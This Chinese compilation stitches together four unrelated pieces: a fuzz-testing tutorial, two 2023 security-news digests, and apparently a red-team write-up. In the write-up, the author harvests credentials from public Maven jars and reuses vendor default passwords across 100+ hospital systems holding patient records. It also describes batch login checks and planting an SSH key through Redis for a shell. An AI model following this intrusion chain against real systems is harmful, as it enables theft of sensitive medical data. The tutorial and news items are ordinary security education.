鲁棒性（Robustness）是计算机科学和软件工程领域的一个重要概念，它指的是系统或软件在面对异常或不正常输入、外部条件或行为时能够保持稳定性和可靠性的能力。 值得一提：有关状态监控模块的处理 状态监控模块在捕获异常时需要对测试对象异常的三种情况进行分别处理： 被测试对象内置的异常处理流程捕获的异常：这种异常情况是指目标程序或系统能够识别和捕获异常，并按照其内置的异常处理流程来处理。这些异常通常不会导致程序崩溃，因为它们得到了适当的处理。这类异常情况通常不会揭示漏洞，因为程序已经处理了异常情况。 无法被测试对象内置的异常处理捕获的，但因异常被中断执行的异常：这种异常情况是指目标程序或系统无法正确捕获或处理异常，但异常的出现导致了程序的中断或崩溃。尽管程序崩溃，但这些异常情况通常具有更高的价值，因为它们表明存在漏洞或错误，可能需要进行修复。 无法被测试对象内置的异常处理捕获的，但异常不被中断执行，导致非预期的结果的异常：这种异常情况是指异常没有导致程序的崩溃，但却引发了程序内部的非预期行为或错误结果。这类异常情况同样具有较高的价值，因为它们可能揭示了潜在的漏洞或问题，尤其是在用户体验和系统可靠性方面。 其中，后两种异常情况更有价值，因为它们通常指示了潜在的漏洞或问题，这些问题可能需要开发人员的关注和修复，以提高系统的鲁棒性和稳定性。模糊测试的目标之一就是发现并报告这些异常情况，以帮助改进软件的质量。 0x03 基础方法技术 数据生成方法 1.基本类型数据生成方法 预定义序列： 经验数据：经验数据是基于先前的测试经验或实际使用中的数据样本来定义的。它们通常反映了一组合理的、常见的或已知的输入值。经验数据有助于测试基础功能，确保软件在正常情况下运行。例如，对于一个登录页面，经验数据可能包括一组有效的用户名和密码组合。 特别数据：特别数据是为了测试特定边界条件或较少常见情况而定义的数据。这些数据通常不符合常规输入，但可能会揭示潜在问题。例如，测试一个计算器应用程序时，特别数据可能包括除以零的情况。 随机数序列： 随机数序列是根据随机性生成的一系列数字。它们广泛用于模糊测试，因为它们可以模拟未知或不可预测的输入情况。随机数序列可以包括整数、浮点数或其他数字类型。 随机数生成器可以根据不同的分布（如均匀分布、正态分布等）生成随机数。在模糊测试中，可以指定随机数的范围和分布来控制生成的数据。 小数值覆盖大数值： 这是一种测试策略，其中测试用例倾向于包括较小的数值，以测试系统对较小值的处理。这是因为较小的值可能更容易导致不正常行为，如除以零或下溢。 例如，在测试一个计算器应用程序时，可以生成一系列小于1的随机浮点数来检查除法操作的鲁棒性。 2.复合类型数据生成方法 文件、网络数据包分别按照文件格式网络协议格式将基本类型数据组合成符合类型数据。 文件生成： 对于文本文件，可以创建一个文本文件对象，然后将字符串数据写入文件。在不同的编程语言中，有文件写入和操作的库和函数可供使用。 对于二进制文件，可以使用二进制文件的格式规范来构建文件头和内容部分，然后将它们写入文件。 网络数据包生成： 根据特定的网络协议规范，创建网络数据包对象。这可以包括数据包头和数据包主体。 在各种编程语言中，有库和工具可用于构建和编码网络数据包，如struct模块（Python）、ByteBuffer（Java）等。 XML和JSON生成： 对于XML，可以使用XML解析库或API创建XML文档对象，然后添加元素和属性。 对于JSON，可以创建JSON对象，包括键值对和嵌套的数组和对象。 数据库记录生成： 使用数据库连接库或ORM（对象关系映射）工具创建数据库记录对象。不同的编程语言和数据库系统有不同的方法来操作数据库。 设置记录的字段值，然后执行插入或更新操作。 HTML生成： 创建HTML文档对象，然后使用HTML标签和属性来构建文档。 在许多编程语言中，可以使用字符串拼接或HTML构建库来构建HTML文档。 复杂对象生成： 根据数据结构的定义，构建复杂的数据对象。这可能涉及创建嵌套的数据结构、图形对象等。 使用编程语言的数据结构和面向对象编程的功能来创建对象。 3.多阶段交互类型数据生成方法 当测试对象向外界提供服务的过程包含多次数据交互时，客户端与服务端的数据包必须根据对方的请求与相应进行构造，双方按照协议约定的过程按次序发送数据。多阶段交互类型数据生成方法用于模拟具有多次数据交互的复杂场景，通常在客户端和服务端之间进行数据包的交互。这种方法模拟了真实世界中的数据通信过程，涵盖了多个阶段的数据生成和交互，以测试系统的互操作性和完整性。 简单来说就是通过交互进行数据生成。 以下是多阶段交互类型数据生成方法的一般步骤： 定义交互协议： 首先，需要明确定义客户端和服务端之间的交互协议。这包括请求和响应的消息格式、顺序、字段和协议规范。 生成请求数据： 从客户端的角度开始，生成符合协议规范的请求数据包。这可能包括构建请求头、请求体、参数等信息。 发送请求： 将生成的请求数据发送到服务端，模拟客户端向服务端发出请求。 解析请求： 在服务端接收到请求后，解析请求数据包，检查其有效性和合法性。服务端需要遵循协议规范来处理请求。 生成响应数据： 根据接收到的请求，服务端生成符合协议规范的响应数据包。这包括构建响应头、响应体、状态码等信息。 发送响应： 将生成的响应数据发送回客户端，模拟服务端对客户端的响应。 解析响应： 客户端接收到响应后，解析响应数据包，验证响应是否符合协议规范。 继续交互： 根据协议规范，可能需要进行多轮的数据交互。客户端和服务端依次生成请求和响应，模拟多阶段的交互。 结束交互： 最后，根据测试需求，可以结束交互并生成测试报告，分析交互期间发现的问题和异常。 多阶段交互类型数据生成方法可以帮助测试人员或工具模拟复杂的数据通信场景，以确保系统在实际使用中能够正确处理多个数据交互步骤。这对于测试网络应用程序、通信协议、API等非常重要，因为它可以发现系统中的互操作性问题、数据丢失、顺序错误等潜在问题。 环境控制技术 1.运行环境控制技术 运行环境控制技术在模糊测试中扮演着重要的角色，它涉及到管理和控制模糊测试的执行环境，以确保测试的可控性和可重复性。 简单来说就是构建一个符合测试实际的环，能够控制和维护，并且进行恢复的技术。 构建环境->控制和维护->恢复 以下是关于运行环境控制技术的一些常见内容： 虚拟化和容器化： 使用虚拟机或容器技术可以创建隔离的测试环境，使测试过程不会对实际系统产生影响。 通过虚拟化或容器化，可以轻松创建多个独立的测试环境，每个环境可以运行不同的测试用例。 快照和还原： 创建运行环境的快照，以记录环境的状态和配置。在测试结束后，可以还原环境到快照状态，确保每次测试都从相同的起点开始。 这对于确保可重复性和排查问题非常有用。 资源隔离： 控制测试过程中的资源使用，以避免测试对主机系统的影响。 可以限制CPU、内存、网络带宽等资源的使用，确保测试不会导致系统崩溃或不稳定。 环境变量控制： 通过设置环境变量，可以控制测试过程中使用的配置和参数。这包括路径、文件配置、网络地址等。 确保测试环境与实际环境的配置一致。 随机性控制： 有时模糊测试需要随机生成输入数据，但也可能需要控制随机性，以确保测试可控。 可以使用种子值来控制伪随机数生成器的行为，以在多次测试中生成相同的随机数据。 日志和监控： 记录测试过程中的日志和监控数据，以便后续分析和排查问题。 这包括记录测试用例、异常情况、资源利用率等信息。 恢复机制： 在测试过程中，可能会发生不正常的情况，如崩溃或异常。具备恢复机制可以在测试中自动处理这些问题，使测试能够继续进行。 并发和分布式测试： 在模糊测试中，可能需要同时执行大量测试用例，使用并发和分布式测试可以提高测试效率。 这涉及到控制多个测试实例的协同工作，确保它们不会相互干扰。 运行环境控制技术的目标是确保模糊测试的可控性、可重复性和安全性。通过这些技术，可以更好地管理测试环境，从而更有效地发现潜在的问题和漏洞。 2.程序运行控制技术 程序启动和终止： 控制模糊测试程序的启动和终止，确保它可以在需要时启动，以及在测试结束后正确终止。 暂停和继续： 允许在测试过程中暂停 fuzz 测试程序的执行，以便检查状态、调试问题或进行其他操作。之后可以继续执行测试。 调试和修改： 提供调试功能，允许测试人员在运行时检查程序状态、变量值和执行路径，以排查问题。 在需要时，还可以修改程序的行为，例如修改输入数据、修改配置或注入调试语句。 进程句柄控制： 使用进程句柄，可以监控和控制 fuzz 测试程序的执行。这包括获取进程状态、发送信号、终止进程等。 API接口： 提供各种API接口，以便外部程序与 fuzz 测试程序进行通信和控制。这些接口可以用于启动测试、发送测试用例、检索测试结果等。 3.数据强制输入技术 Fuzz测试的数据强制输入技术是用于将模糊测试生成的测试数据传递给目标程序的方法。这些技术涵盖了多个方面，包括网络数据输入、文件数据输入、用户操作输入以及内存数据修改。 分别用于网络、文件、图形用户界面和内存攻击。 以下是关于这些技术的详细说明： 网络数据输入技术： 在网络数据输入技术中，模糊测试工具通过模拟网络通信方式将生成的测试数据发送给目标程序。这通常涉及以下步骤： 网络形式强制发送：工具使用适当的网络协议连接到目标程序，按照协议规范将测试数据发送给目标。 连接协议：模糊测试工具使用与目标程序通信所需的协议，例如HTTP、FTP、SMTP等。 数据包构造：根据协议规范构造符合格式的数据包，将测试数据包含在数据包中。 这种方法适用于测试网络应用程序、服务器、通信协议等，以验证它们对不规范或恶意输入的鲁棒性。 文件数据输入技术： 文件数据输入技术用于将生成的测试数据传递给目标程序的方式，通常通过文件传递。这包括以下方法： 命令行参数传入：模糊测试工具将测试数据作为命令行参数传递给目标程序。 进程交互机制：工具可以通过与目标程序的进程进行交互，将数据传递给正在运行的程序。 文件读取：测试工具可以创建临时文件，将测试数据写入文件，然后通过文件读取操作将数据提供给目标程序。 这种方法适用于测试本地应用程序、命令行工具等，以验证它们对不同数据源的处理。 用户操作输入技术： 用户操作输入技术模拟用户与目标程序进行交互的方式，包括模拟鼠标、键盘输入和其他用户界面操作。这包括以下方法： 模拟鼠标和键盘输入：工具模拟用户通过键盘输入文本、通过鼠标点击按钮或执行其他用户界面操作，将测试数据输入到目标程序中。 这种方法适用于测试图形用户界面（GUI）应用程序，以验证它们对用户输入的鲁棒性。 内存数据修改技术： 内存数据修改技术允许模糊测试工具直接在目标程序的内存中修改数据，以模拟恶意攻击或异常情况。这包括以下方法： 直接在内存中进行修改：工具通过访问目标程序的内存空间，修改特定的内存位置，注入测试数据或更改程序状态。 这种方法通常用于测试漏洞、缓冲区溢出等安全问题，以评估程序的鲁棒性。 这些数据强制输入技术允许模糊测试工具将测试数据传递给目标程序，以评估程序的鲁棒性和安全性。根据测试目标和应用程序的性质，可以选择适当的技术来进行模糊测试。 状态监控技术 状态监控技术在模糊测试中起着关键作用，它允许测试人员监控目标程序的生命周期、执行状态、异常状态以及输入输出，从而更好地评估程序的鲁棒性和安全性。以下是关于这些监控技术的简要说明： 生命周期监控技术： 生命周期监控技术用于追踪目标程序的整个生命周期，包括启动、执行和终止阶段。 实现方法： 启动和终止：监控程序的启动和终止，可以通过记录程序的启动时间和结束时间来实现。 进程监控：使用操作系统提供的工具或库来监控目标程序的进程，以确保它始终处于活动状态。 日志记录：记录程序的运行日志，包括启动和终止事件，以便进行后续分析。 输入输出监控技术： 输入输出监控技术用于捕获目标程序与外部环境的数据交互，包括输入数据和输出结果。 实现方法： 输入捕获：截获模糊测试工具生成的输入数据，包括网络数据、文件数据、用户操作等。 输出监控：捕获目标程序的输出结果，包括响应数据、日志、错误信息等。 数据流追踪：使用数据流分析工具来追踪输入数据在程序内部的处理过程，以检测数据修改或异常行为。 执行状态监控技术： 执行状态监控技术用于实时监控目标程序的执行状态，以检测异常行为和问题。 实现方法： 异常检测：监控程序的执行过程，检测是否出现异常情况，如崩溃、死锁、超时等。 内存检查：定期检查程序的内存使用情况，以检测内存泄漏或溢出问题。 CPU利用率：监控程序的CPU利用率，以确定是否存在高负载情况。 这些监控技术可以通过使用各种工具和库来实现，具体方法取决于测试环境和测试工具的要求。通过监控目标程序的生命周期、输入输出和执行状态，测试人员可以及时发现异常情况并进行更准确的控制和分析，以提高模糊测试的效率和效果。 0x04 模糊测试优化方法 让我分别解释一下这些方法： 灰盒模糊测试： 灰盒模糊测试是介于白盒（静态分析）和黑盒（仅关注输入输出）之间的一种测试方法。 在灰盒模糊测试中，测试人员或工具通常会逆向工程目标程序，分析其内部结构和逻辑，以更好地理解程序的运行方式。 然后，根据这些了解，有针对性地生成测试用例，限定字段值或者注重测试一些关键路径和敏感函数，以提高发现漏洞的机会。 白盒模糊测试： 白盒模糊测试进一步加强了灰盒测试的概念，引入了符号执行等高级分析技术。 在白盒模糊测试中，测试工具会使用逆向工程技术分析目标程序的源代码、控制流、数据流等内部信息。 这些信息用于构建符号执行模型，以理解程序的执行路径，然后生成测试用例，以测试这些路径。 白盒模糊测试可以更全面地覆盖程序的各种执行路径，从而提高漏洞的发现概率。 基于反馈的模糊测试： 基于反馈的模糊测试方法侧重于收集和分析测试过程中产生的反馈信息，以优化后续测试用例的生成。 在此方法中，测试工具会统计分析模糊测试用例的特征和测试结果的特征。 使用这些信息，测试工具可以动态地调整测试用例生成策略，以生成更有潜力的测试用例，进一步提高发现漏洞的效率。 这种方法通常使用统计方法（如u测试）来分析和调整测试用例的生成，从而实现智能的测试。 这些高级模糊测试方法旨在通过更深入的分析和优化来提高模糊测试的效率和效果。它们通常需要更多的专业知识和复杂的工具支持，但可以在发现漏洞方面取得更好的结果。选择哪种方法通常取决于测试目标、测试环境和可用资源。 0x05 工具推荐 这里有几种与模糊测试相关的工具和技术，包括AFL-Unicorn、Qiling、SlowFuzz、PerfFuzz、以及AFL++的QEMU和Unicorn模式。让我们来看看它们的优点、缺点以及双重作用： AFL-Unicorn:   优点： 允许将American Fuzzy Lop（AFL）与Unicorn引擎结合使用，从而能够对更广泛的目标进行模糊测试。 具有高度可定制性，用户可以为目标二进制文件创建自定义的Unicorn插件。   缺点： 复杂性较高，需要熟悉AFL和Unicorn。 需要较多的配置和调试。 Qiling:   优点： 可以模拟多种操作系统，包括Linux、Windows等，使其具有广泛的应用。 允许用户在用户模式和内核模式下进行模糊测试。   缺点： 需要深入了解操作系统的内部工作原理，以进行高效的模糊测试。 需要额外的配置和学习曲线。 SlowFuzz:   优点： 采用基于符号执行的方法，具有较高的漏洞发现潜力。 能够在更广泛的输入空间中搜索漏洞。   缺点： 符号执行速度较慢，可能需要更多的时间来执行测试。 可能需要更多的计算资源。 PerfFuzz:   优点： 利用性能计数器（Performance Counters）来导向模糊测试，从而提高了测试效率。 可以更快地发现性能敏感漏洞。   缺点： 对于一些非性能相关的漏洞，可能不够敏感。 对于某些平台，可能需要额外的硬件支持。 AFL++的QEMU和Unicorn模式:   优点： 可以使用AFL++与QEMU或Unicorn引擎结合，提供了广泛的目标支持。 AFL++改进了原始AFL的性能和功能，提供了更好的模糊测试体验。   缺点： 需要一定的配置和学习曲线。 在某些情况下，可能需要更多的计算资源。 这些工具和技术各有优点和缺点，选择哪一个取决于具体需求和目标。例如，如果需要测试多个操作系统，Qiling可能是一个不错的选择。如果关注性能敏感漏洞，PerfFuzz可能更合适。另外，一些工具可以结合使用，以充分发挥各自的优势。最终，选择合适的工具取决于您的具体测试场景和资源可用性。 0x06 尾声 阅读到这里我们简单了解了模糊测试（Fuzz Testing）的各个方面，包括其基本概念、方法和相关技术。模糊测试作为一种强大的测试方法，具有广泛的应用领域，可用于发现软件漏洞、提高安全性和质量。 我们深入了解了模糊测试的基本要素，包括测试用例、异常测试用例和等价测试用例，以及数据集合和程序执行路径。这些概念构成了模糊测试的基础。探索了模糊测试的不同阶段，包括测试数据生成、数据交互与控制、测试结果反馈，以及这些阶段的关联模块和技术。这些阶段共同构建了模糊测试的全貌。 此外，我们介绍了一些高级模糊测试技术，如灰盒模糊测试、白盒模糊测试和基于反馈的模糊测试，以及它们的应用和优势。并且最后，推荐了一些相关工具及其优劣。 接下来，让我们把主动权交回你的手里，去探索更广阔的网络安全世界吧！

1、23andMe用户数据被盗，涉及数百万用户 https://www.bleepingcomputer.com/news/security/genetics-firm-23andme-says-user-data-stolen-in-credential-stuffing-attack/ 23andMe是一家提供基因检测服务的公司，用户可以通过唾液样本来了解自己的遗传特征和健康风险。最近，该公司证实，其部分用户的数据被黑客窃取，并在黑客论坛上公开和出售。该公司表示，这是一次“凭证填充攻击”，即黑客利用其他网站泄露的用户名和密码来尝试登录23andMe的用户账户。该公司称，其系统没有被入侵，而是黑客通过猜测一部分用户的登录凭证，然后利用一 2、MGM遭受勒索软件攻击，影响多个系统和服务 https://securityaffairs.com/152077/cyber-crime/mgm-resorts-ransomware-attack.html MGM度假村国际(MGM Resorts International)是一家全球知名的酒店和赌场运营商，拥有多个品牌和地点，如贝拉吉奥(Bellagio)、美高梅大酒店(MGM Grand)、曼德勒湾(Mandalay Bay)等。最近，该公司发现了一起严重的网络安全事件，导致其部分网络系统被关闭，以保护其系统和数据。据报道，该事件是由一个名为Scattered Spider的黑客组织发起的一场勒索软件攻击，该组织使用了一个名为B 3、Storm-0324利用微软Teams发送钓鱼邮件并部署勒索软件 https://gbhackers.com/storm-0324-abusing-microsoft-teams/ Storm-0324是一个以金钱为驱动的威胁行为者组织，最近被发现利用微软Teams发送钓鱼邮件，试图获取受害者系统的初始访问权限。该组织过去曾被指控发送包含远程代码执行的钓鱼邮件，以便在感染的系统上执行恶意操作。在获得访问权限后，Storm-0324通常会将其出售给TA543和著名的勒索软件组织Sangria Tempest(也被称为FIN7，Carbon Spider)，后者经常利用这些访问权限进行勒索软件攻击。研究人员表示，该组织最新的攻击技术针对那些使用Teams IM 4、超微BMC固件多个高危漏洞可导致权限提升和恶意代码执行 https://thehackernews.com/2023/10/supermicros-bmc-firmware-found.html 超微公司是一家专业生产服务器主板的公司，其基板管理控制器(BMC)的智能平台管理接口(IPMI)固件被发现存在多个高危漏洞，这些漏洞可能导致受影响系统上的权限提升和恶意代码执行。这些漏洞共有七个，编号为CVE-2023-40284至CVE-2023-40290，严重程度从高到临界不等，根据研究人员的报告，这些漏洞可以让未经授权的攻击者以BMC用户的身份执行任意JavaScript代码，或者以具有管理员权限的用户身份执行操作系统命令。超微公司已经发布了BM 5、以色列总统Telegram账号被黑客入侵 https://www.darkreading.com/dr-global/suspected-crime-gang-hacks-israeli-president-telegram-account 以色列总统赫尔佐格的Telegram账号近日遭到了一个疑似犯罪团伙的黑客入侵。据报道，这次黑客攻击与一起在线诈骗案有关，黑客利用了Telegram的一个漏洞，通过发送恶意链接来窃取用户的登录凭证。在黑客入侵后不久，总统府发现并恢复了账号的访问权限，并表示没有任何敏感信息被泄露或损坏。目前尚不清楚黑客入侵总统账号的动机和目的，也不清楚他们是否与其他政治或恐怖组织有联系。总统府表示，已经向相关部门报 6、Facebook官方页面遭“Release Imran Khan”黑客攻击 https://www.hackread.com/facebooks-official-page-hacked-release-imran-khan/ Facebook的官方页面在10月7日遭到了一个名为“Release Imran Khan”的黑客组织的攻击。该组织在Facebook的页面上发布了一些带有反印度和亲巴基斯坦的口号和图片的帖子，要求释放巴基斯坦总理伊姆兰·汗，声称他被印度军队绑架。这些帖子很快就被删除，Facebook表示正在调查这起事件，并道歉给受影响的用户。“Release Imran Khan”是一个不知名的黑客组织，其背景和动机尚不清楚。研究人员认为，这可能是一个恶作 7、CDW公司与LockBit谈判失败，数据遭泄露威胁 https://www.theregister.com/2023/10/06/cdw_lockbit_negotiations/ CDW公司是全球最大的IT产品和服务经销商之一，近日遭到了LockBit黑客组织的攻击，导致其数据被窃取。LockBit是一个勒索软件团伙，专门对企业和机构进行加密和勒索攻击。据LockBit的一位发言人称，CDW公司在谈判过程中提出了一个非常低的赎金金额，让黑客感到不满。因此，LockBit决定在10月11日早上公开CDW公司的数据。CDW公司尚未对这起事件发表任何评论，也没有向英国信息专员办公室(ICO)报告任何数据泄露事件。目前不清楚CDW公司的数据包含了哪 8、新窃密软件 NodeStealer 可以窃取所有浏览器 Cookie https://www.freebuf.com/articles/network/378700.html Netskope 的研究人员正在跟踪一个使用恶意 Python 脚本窃取 Facebook 用户凭据与浏览器数据的攻击行动。攻击针对 Facebook 企业账户，包含虚假 Facebook 消息并带有恶意文件。攻击的受害者主要集中在南欧与北美，以制造业和技术服务行业为主。 9、全球网络安全专家联名抗议欧盟“24 小时”漏洞披露规定 https://www.secrss.com/articles/59386 来自 Google、电子前沿基金会、CyberPeace Institute、ESET、Rapid7、Bugcrowd 和趋势科技等多个组织的数十位网络安全专家联名签署并发表了一封公开信，反对欧盟《网络韧性法案》中关于“漏洞利用后24 小时内披露”的要求，声称该漏洞披露规定会适得其反，制造新的威胁，并损害数字产品及其用户的安全。 10、Sonatype：市面上 1/8 的开源组件存在已知漏洞 https://www.ithome.com/0/723/234.htm 截至 2023 年 9 月，研究团队共发现了 245032 个恶意软件包，是往年总和的 2 倍，1/8 的开源下载存在已知风险，且仍有 23% 的 Log4j 下载存在严重漏洞。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

起因：某市hw、给了某医院的资产，根据前期进行的信息收集就开始打，奈何目标单位资产太少，唯有一个IP资产稍微多一点点，登录框就两个，屡次尝试弱口令、未授权等均失败。 事件型-通用性-反编译jar-Naocs-后台-供应商到目标站-批量检测-内网 1.事件型-通用型 尝试互联网获取更多目标资产的信息。fofa搜索IP发现这样一个系统，是通用型的系统（根据指纹和ico自动识别的）、大概100+单位，包括县级、市级等均用此系统。 由于之前有过类似的从供应商一路打到目标站的经历，这次猜测应该也可以 查看网站底部的备案号，发现并不是目标单位的，而是供应商的，于是开始针对供应商进行信息收集 定位到了某家公司，天眼查显示八个备案域名： 直接上enscan收集备案信息，随后根据收集到的所有备案域名，查找真实IP以及端口等 根据获取到的域名，用fofa直接反查IP、子域等等，经过筛选之后，共有八个真实IP 随后就是找端口、找指纹什么的，我喜欢用fofa,现在fofa支持批量搜索100个IP资产的功能，根据系统的ICO识别指纹很快 2.反编译jar 很快根据fofa的ico摸到了nexus系统：一个maven仓库管理器 弱口令：admin/admin、admin/admin123等均失败 弱口令尝试无果后，根据之前的反编译jar的思路，直接点击browse查看maven公开仓库 找项目仓库，发现了不少的jar包 直接下载jar包反编译查看敏感信息，包括spring鉴权口令以及redis口令均可查看 大概几十个jar包，挨个尝试敏感信息获取，将获取到的敏感信息存一个密码本中，留着撞库爆破用很快收集到了mysql用户名口令、oracle用户名口令、Redis信息、nacos口令信息、部分服务的ak/sk接口（比如人脸识别api、语言api等等)，但大多都处于内网，一时无法利用。 3.Nacos 继续查看端口结果,发现其中一个IP，开放的端口很大，直到50000以上。其中一个端口48848瞬间引起了我的注意，因为nacos默认端口8848嘛，随后点开提示404（要的就是404），反手在路径处输入nacos，直接跳转到nacos登陆界面 尝试默认口令：nacos/nacos、test/123456、nacos/123456均失败，未授权添加用户以及获取用户名口令均失败、尝试jwt绕过登录等等也都失败…… 用刚刚反编译jar获取到的口令进行尝试，在尝试了几个之后，成功跳转到后台 随即： 有配置就有东西，直接翻找配置文件，找敏感信息、同样发现了redis、MySQL等连接信息、还有短信云服务的ak/sk、这些AK/SK大多都是可接入存储桶什么的、但是没东西，也没有云主机…… 4.通用型口令进后台 从nacos系统获取到的敏感信息继续添加到密码本中，继续找别的端口，发现了某端口下开放着和目标站点一模一样的系统界面，利用收集到的口令（密码本）尝试进行登陆供应商的系统： 尝试了几个之后。。成功以收集到的强口令登陆该系统 在某档案管理处发现4w+个人信息（身份证、手机、姓名、地址、病历等等） 在系统用户中找到3K+个人信息 翻找系统用户列表还发现系统用户还存在一个manager用户、但是默认管理员admin账户未找到，怀疑是系统开发商留下的默认用户admin，密码稍微有点复杂，大小写字母+数字+特殊符号组合。尝试利用该口令登陆该IP资产下的其它相同系统，均登录成功分别为1w+、14w+、5w+、24w+等众多敏感信息，均为不同的医院 根据每个系统的特点以及信息数量可以得到，系统存在开发商管理员用户名：admin和manager，且口令为开发商初始默认口令 5.从供应商到目标站 根据前期收集到的信息，直接以初始口令登录此次hw目标站点成功打入后台，先是1K+信息 在系统管理-用户管理中同样发现存在manager用户直接以默认口令尝试登陆 获取5K+敏感信息，查看接口可获取到未脱敏信息 6.afrog批量POC 前期fofa找出来的结果，大概100+系统用afrog编写批量爆破poc尝试登陆，result=1就是登录成功；afrog、就是快、准、狠 粗略估计一下，大概100w左右的数据，永远永远的好起来了…… 7.redis-供应商内网 根据前期获取到的redis口令，登陆redis成功，并且为root权限，尝试写入公钥getshell老样子，先用xshell生成公钥，将此公钥复制到liqun工具箱中，直接进行写入即可 在连接的时候踩坑了，因为目标主机开放的ssh端口过多，其中一个端口44622写入失败，换一个端口44722写入成功了。 接下来就是内网常规操作了……

1、苹果紧急更新修复了用于破解iPhone的新零日漏洞 https://support.apple.com/en-us/HT213961 Apple 发布了紧急安全更新，以修补针对 iPhone 和 iPad 用户的攻击中利用的新的零日安全漏洞。该公司在周三发布的一份咨询报告中表示：“苹果公司了解到有报告称，iOS 16.6 之前的 iOS 版本可能已积极利用此问题。”零日漏洞 (CVE-2023-42824) 是由 XNU 内核中发现的一个漏洞引起的，该漏洞使本地攻击者能够在未修补的 iPhone 和 iPad 上升级权限。尽管苹果表示已通过改进检查解决了 iOS 17.0.3 和 iPadOS 17.0.3 中的安全问题，但尚未透露是谁发现并 2、Atlassian修补攻击中利用的关键Confluence零日漏洞 https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html 澳大利亚软件公司 Atlassian 发布了紧急安全更新，以修复其 Confluence 数据中心和服务器软件中已被利用的最高严重性零日漏洞。该公司表示：“Atlassian 已意识到少数客户报告的一个问题，外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中以前未知的漏洞来创建未经 3、思科修复了紧急响应程序中的硬编码根凭据 https://www.bleepingcomputer.com/news/security/cisco-fixes-hard-coded-root-credentials-in-emergency-responder/ 思科发布了安全更新来修复思科紧急响应程序 (CER) 漏洞，该漏洞允许攻击者使用硬编码凭据登录未修补的系统。CER 通过实现 IP 电话的准确位置跟踪来帮助组织有效应对紧急情况，从而将紧急呼叫路由到适当的公共安全应答点 (PSAP)。该安全漏洞编号为 CVE-2023-20101，允许未经身份验证的攻击者使用 root 账户访问目标设备，该账户具有无法修改或删除的默认静态凭 4、黑客通过被攻破的SQL服务器破坏Azure云虚拟机 https://www.microsoft.com/en-us/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/ 据观察，黑客试图通过容易受到 SQL 注入攻击的 Microsoft SQL Server 来破坏云环境。微软的安全研究人员报告称，这种横向移动技术之前曾在针对虚拟机和 Kubernetes 集群等其他服务的攻击中出现过。安全研究人员观察到的攻击始于利用目标环境中应用程序中的 SQL 注入漏洞，这使得威胁参与者能够访问 5、攻击者利用数百个恶意Python包窃取敏感数据 https://checkmarx.com/blog/the-evolutionary-tale-of-a-persistent-python-threat/ 研究人员观察到，过去半年里，攻击者发起了一场复杂的恶意活动。该活动已在开源平台上植入了数百个信息窃取包，下载量约为 75000 次。自 4 月初以来，Checkmarx 供应链安全团队的分析师一直在监控该活动，他们发现了 272 个包含用于从目标系统窃取敏感数据的代码的软件包。自首次发现以来，这种攻击已经发生了显著的变化，软件包作者实施了越来越复杂的混淆层和检测规避技术。恶意软件可以截取屏幕截图并从受感染的系统中窃取单个文件，例如桌面 6、Qakbot黑客团伙传播Ransom Knight勒索软件 https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/ Qakbot恶意软件背后的威胁行为者自2023年8月初以来一直在开展活动，通过网络钓鱼电子邮件分发Ransom Knight勒索软件和Remcos后门。研究人员将此新活动归因于Qakbot附属机构，因为此活动中使用的LNK文件中发现的元数据与之前Qakbot活动“AA”和“BB”中使用的机器的元数据相匹配。由于这项新行动自2023年8月初以来一直在持续，并且在被关闭后并未停止，因此研究人员认为FBI行动并未影响Qakbot的网络钓鱼电子 7、Lorenz勒索软件团伙自身泄露两年的联系人数据 https://www.theregister.com/2023/10/05/lorenz_ransomware_group_leaks_details/ Lorenz勒索软件团伙是一群自2021年2月起活跃的网络犯罪分子，他们采用双重勒索的手段，即在加密受害者的文件之前，先窃取数据，并威胁如果不支付赎金，就会在暗网上泄露数据。他们主要针对美国、中国和墨西哥的中小型企业，利用Mitel的VoIP漏洞(CVE-2022-29499)等关键漏洞进行攻击。然而，Lorenz团伙最近却陷入了自身数据泄露的尴尬境地。研究人员发现，Lorenz团伙的暗网博客泄露了后端代码，并将数据从网站上拉取下来，上传 8、朝鲜黑客攻击韩国造船业窃取军事机密 https://www.nis.go.kr:4016/resources/synap/skin/doc.html?fn=NIS_FILE_1696403626891 韩国国家情报院观察到朝鲜黑客在八月和九月对韩国造船厂进行了“密集的黑客攻击”。该机构表示，它正在向造船商通报其系统和网络受到的威胁，并建议主要造船厂进行独立的安全审计，以堵塞数字基础设施中的安全漏洞。韩国国家情报局没有透露目标造船厂的名称，但表示，国家支持的黑客向目标造船厂的内部员工发送了网络钓鱼电子邮件，试图将恶意代码安装到他们的系统中。微软在9月的东亚威胁报告中表示，自2023年1月以来，朝鲜黑客组织还对巴西、捷克共和国、芬 9、Lazarus组织洗钱9亿美元的加密货币 https://www.elliptic.co/blog/record-7-billion-in-crypto-laundered-through-cross-chain-services 据研究人员表示，从2022年7月到2023年7月，朝鲜的Lazarus组织通过跨链犯罪非法洗掉了约9亿美元的加密货币。跨链犯罪是指将加密资产从一个代币或区块链转换到另一个，通常是在很短的时间内，以试图掩盖其来源，这是一种对于加密货币盗窃者来说非常有利的洗钱方法，也是混合器(mixer)等传统手段的替代方案。Lazarus组织利用跨链桥的方式导致了通过这种服务发送的资金比例增加了111%。该黑客组织估计自2 10、 WinRAR漏洞让非法内容消费者面临恶意软件风险 https://cyble.com/blog/winrar-vulnerability-puts-illicit-content-consumers-at-risk-of-apanyan-stealer-murk-stealer-asyncrat/ WinRAR是一款广泛使用的文件压缩和解压缩软件，支持多种压缩格式，如RAR、ZIP、CAB、ARJ、LZH、TAR、GZip、UUE、ISO、BZIP2、Z和7-Zip。最近，WinRAR修复了一个严重的远程代码执行漏洞(CVE-2023-40477)，该漏洞可能允许远程攻击者通过让用户打开一个恶意的压缩文件来在目标系统上执行任意代码。然而，研 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。